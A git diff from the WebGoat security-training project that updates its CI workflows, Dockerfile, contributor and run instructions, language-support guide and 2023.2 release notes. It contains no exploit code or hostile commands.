os: [ubuntu-latest, windows-latest, macos-latest]
steps:
- uses: actions/checkout@v3
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
build:
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
runs-on: ubuntu-latest
name: "Branch build"
steps:
- uses: actions/checkout@v3
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- name: Test with Maven
run: mvn --no-transfer-progress verify

View File

@ -1,45 +0,0 @@
name: "Pull request build"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
java: [17]
steps:
- uses: actions/checkout@v2
- name: Set up JDK ${{ matrix.java }}
uses: actions/setup-java@v2
with:
distribution: 'temurin'
java-version: ${{ matrix.java }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v2.1.7
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2
- name: Build with Maven
run: mvn package

View File

@ -11,21 +11,21 @@ jobs:
environment: environment:
name: release name: release
steps: steps:
- uses: actions/checkout@v2.3.4 - uses: actions/checkout@v3
- name: "Get tag name" - name: "Get tag name"
id: tag id: tag
uses: dawidd6/action-get-tag@v1 uses: dawidd6/action-get-tag@v1
- name: Set up JDK 15 - name: Set up JDK 17
uses: actions/setup-java@v2 uses: actions/setup-java@v3
with: with:
distribution: 'zulu' distribution: 'zulu'
java-version: 15 java-version: 17
architecture: x64 architecture: x64
- name: Cache Maven packages - name: Cache Maven packages
uses: actions/cache@v2.1.7 uses: actions/cache@v3.2.2
with: with:
path: ~/.m2 path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@ -38,16 +38,15 @@ jobs:
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven - name: Build with Maven
run: | run: |
mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }} mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
mvn install -DskipTests mvn --no-transfer-progress install -DskipTests
- name: "Create release" - name: "Create release"
uses: softprops/action-gh-release@v1 uses: softprops/action-gh-release@v1
with: with:
draft: false draft: false
files: | files: |
webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: | body: |
## Version ${{ steps.tag.outputs.tag }} ## Version ${{ steps.tag.outputs.tag }}
@ -75,35 +74,37 @@ jobs:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU" - name: "Set up QEMU"
uses: docker/setup-qemu-action@v1.1.0 uses: docker/setup-qemu-action@v2.1.0
with: with:
platforms: all platforms: all
- name: "Set up Docker Buildx" - name: "Set up Docker Buildx"
uses: docker/setup-buildx-action@v1 uses: docker/setup-buildx-action@v2
- name: "Login to dockerhub" - name: "Login to dockerhub"
uses: docker/login-action@v1.9.0 uses: docker/login-action@v2.1.0
with: with:
username: ${{ secrets.DOCKERHUB_USERNAME }} username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push" - name: "Build and push"
uses: docker/build-push-action@v2.7.0 uses: docker/build-push-action@v3.2.0
with: with:
context: ./docker context: ./
file: docker/Dockerfile file: ./Dockerfile
push: true push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7 platforms: linux/amd64, linux/arm64, linux/arm/v7
tags: | tags: |
webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }} webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/goatandwolf:latest webgoat/webgoat:latest
build-args: | build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Image digest" - name: "Image digest"
run: echo ${{ steps.docker_build.outputs.digest }} run: echo ${{ steps.docker_build.outputs.digest }}
new_version: new_version:
permissions:
contents: write # for Git to git push
if: github.repository == 'WebGoat/WebGoat' if: github.repository == 'WebGoat/WebGoat'
name: Update development version name: Update development version
needs: [ release ] needs: [ release ]
@ -111,15 +112,15 @@ jobs:
environment: environment:
name: release name: release
steps: steps:
- uses: actions/checkout@v2.3.4 - uses: actions/checkout@v3
with: with:
ref: develop ref: develop
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }} token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
- name: Set up JDK 15 - name: Set up JDK 17
uses: actions/setup-java@v2 uses: actions/setup-java@v3
with: with:
java-version: 15 java-version: 17
architecture: x64 architecture: x64
- name: Set version to next snapshot - name: Set version to next snapshot

68
.github/workflows/test.yml vendored Normal file
View File

@ -0,0 +1,68 @@
name: "UI-Test"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
# tags-ignore:
# - '*'
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
jobs:
build:
runs-on: ubuntu-latest
# display name of the job
name: "Robot framework test"
steps:
# Uses an default action to checkout the code
- uses: actions/checkout@v3
# Uses an action to add Python to the VM
- name: Setup Pyton
uses: actions/setup-python@v4
with:
python-version: '3.7'
architecture: x64
# Uses an action to add JDK 17 to the VM (and mvn?)
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
# send report to forks only due to limits on permission tokens
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.1
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'

View File

@ -10,7 +10,7 @@ jobs:
if: github.repository == 'WebGoat/WebGoat' if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/first-interaction@v1.1.0 - uses: actions/first-interaction@v1.1.1
with: with:
repo-token: ${{ secrets.GITHUB_TOKEN }} repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.' issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

2
.gitignore vendored
View File

@ -55,3 +55,5 @@ webgoat.script
TestClass.class TestClass.class
**/*.flattened-pom.xml **/*.flattened-pom.xml
/.gitconfig /.gitconfig
webgoat.gitconfig

View File

@ -1,4 +1,5 @@
# Contributing # Contributing
[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors) [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg) ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg) ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
@ -24,7 +25,7 @@ There are a couple of ways on how you can contribute to the project:
Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short: Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
The minimum requirements for code contributions are: The minimum requirements for code contributions are:
1. The code _must_ be compliant with the configured Checkstyle and PMD rules. 1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
2. All new and changed code _should_ have a corresponding unit and/or integration test. 2. All new and changed code _should_ have a corresponding unit and/or integration test.
3. New and changed lessons _must_ have a corresponding integration test. 3. New and changed lessons _must_ have a corresponding integration test.
4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit. 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
@ -38,14 +39,13 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
* If you are making spelling corrections in the docs, don't modify other files. * If you are making spelling corrections in the docs, don't modify other files.
* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request. * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
### Write a good commit message ### Write a good commit message
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d) * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message. * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
For example: `Fix #545` or `Closes #10` For example: `Fix #545` or `Closes #10`
## How to set up your Contributor Environment ## How to set up your Contributor Environment
@ -69,12 +69,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
``` ```
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")". See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues"). 5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66` 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/). 7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub. 8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer. 9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR. 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
11. When starting on a new PR in the future, make sure to always keep your local repo up to date: 11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
```bash ```bash

View File

@ -1,13 +1,13 @@
## Release WebGoat ## Release WebGoat
### Version numbers ### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
`v8.0.0` in the `pom.xml` `v8.0.0` in the `pom.xml`
### Release notes: ### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
committers. committers.
@ -30,5 +30,3 @@ git push --tags
Now Travis takes over and will create the release in Github and on Docker Hub. Now Travis takes over and will create the release in Github and on Docker Hub.
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

32
Dockerfile Normal file
View File

@ -0,0 +1,32 @@
FROM docker.io/eclipse-temurin:17-jre-focal
RUN useradd -ms /bin/bash webgoat
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
"-Dfile.encoding=UTF-8", \
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-Dwebgoat.host=0.0.0.0", \
"-Dwebwolf.host=0.0.0.0", \
"-Dwebgoat.port=8080", \
"-Dwebwolf.port=9090", \
"-jar", "webgoat.jar" ]

View File

@ -1,6 +1,6 @@
# WebGoat 8: A deliberately insecure Web Application # WebGoat 8: A deliberately insecure Web Application
[![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml) [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/) [![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/) [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
@ -33,42 +33,45 @@ For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker ## 1. Run using Docker
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf). Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside. The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
```shell ```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2
``` ```
The landing page will be located at: http://localhost If you want to reuse the container, give it a name:
WebGoat will be located at: http://localhost:8080/WebGoat
WebWolf will be located at: http://localhost:9090/WebWolf
**Important**: *Change the ports if necessary, for example use `127.0.0.1:7777:9090` to map WebWolf to `http://localhost:7777/WebGoat`* ```shell
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
```
As long as you don't remove the container you can use:
```shell
docker start webgoat
```
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.* **Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
## 2. Standalone ## 2. Standalone
Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell ```shell
java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.2.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001] java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.2.jar
java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001]
``` ```
WebGoat will be located at: http://localhost:8080/WebGoat and Click the link in the log to start WebGoat.
WebWolf will be located at: http://localhost:9090/WebWolf (change ports if necessary)
## 3. Run from the sources ## 3. Run from the sources
### Prerequisites: ### Prerequisites:
* Java 17 * Java 17
* Maven > 3.2.1
* Your favorite IDE * Your favorite IDE
* Git, or Git support in your IDE * Git, or Git support in your IDE
@ -83,18 +86,31 @@ Now let's start by compiling the project.
```Shell ```Shell
cd WebGoat cd WebGoat
git checkout <<branch_name>> git checkout <<branch_name>>
mvn clean install # On Linux/Mac:
./mvnw clean install
# On Windows:
./mvnw.cmd clean install
# Using docker or podman, you can than build the container locally
docker build -f Dockerfile . -t webgoat/webgoat
``` ```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot. Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell ```Shell
mvn -pl webgoat-server spring-boot:run # On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run
``` ```
... you should be running webgoat on localhost:8080/WebGoat momentarily
... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
To change the IP address add the following variable to the WebGoat/webgoat-container/src/main/resources/application.properties file: Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
``` ```
server.address=x.x.x.x server.address=x.x.x.x
@ -105,12 +121,16 @@ server.address=x.x.x.x
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables. For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
For instance running as a jar on a Linux/macOS it will look like this: For instance running as a jar on a Linux/macOS it will look like this:
```Shell ```Shell
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar webgoat-server/target/webgoat-server-v8.2.2-SNAPSHOT.jar java -jar target/webgoat-2023.2-SNAPSHOT.jar
``` ```
Or in a docker run it would (once this version is pushed into docker hub) look like this: Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell ```Shell
docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
``` ```

34
README_I18N.md Normal file
View File

@ -0,0 +1,34 @@
# Multi language support in WebGoat
WebGoat is mainly written in English, but it does support multiple languages.
## Default language selection
1. Current supported languages are: en, fr, de, nl
2. The primary language is based on the language setting of the browser.
3. If the language is not in the list of supported language, the language is English
4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
1. After switching a language you are back at the Introduction page
## Adding a new language
The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2.
3. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources
4. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
5. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values
6. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to
7. Run mvn clean to see if the LabelAndHintIntegration test passes
8. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8

View File

@ -1,10 +1,52 @@
# WebGoat release notes # WebGoat release notes
## Unreleased ## Version 2023.2
With great pleasure, we present you with a new release of WebGoat **2023.2**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
many more releases this year.
### New functionality ### New functionality
- Update the Docker startup script, it is now possible to pass `skip-nginx` or set `SKIP_NGINX` as environment variable. - New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
## Version 8.2.2 ## Version 8.2.2
@ -18,14 +60,12 @@
- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031) - [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027) - [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
## Version 8.2.1 ## Version 8.2.1
### New functionality ### New functionality
- New Docker image for arm64 architecture is now available (for Apple M1) - New Docker image for arm64 architecture is now available (for Apple M1)
## Version 8.2.0 ## Version 8.2.0
### New functionality ### New functionality
@ -64,7 +104,6 @@ Special thanks to the following contributors providing us with a pull request:
- NatasG - NatasG
- gabe-sky - gabe-sky
## Version 8.1.0 ## Version 8.1.0
### New functionality ### New functionality
@ -85,13 +124,13 @@ Special thanks to the following contributors providing us with a pull request:
- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766) - [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708) - [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) - [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
## Contributors ## Contributors
Special thanks to the following contributors providing us with a pull request: Special thanks to the following contributors providing us with a pull request:
@ -107,9 +146,5 @@ Special thanks to the following contributors providing us with a pull request:
And everyone who provided feedback through Github. And everyone who provided feedback through Github.
Team WebGoat Team WebGoat

View File

@ -1,42 +1,77 @@
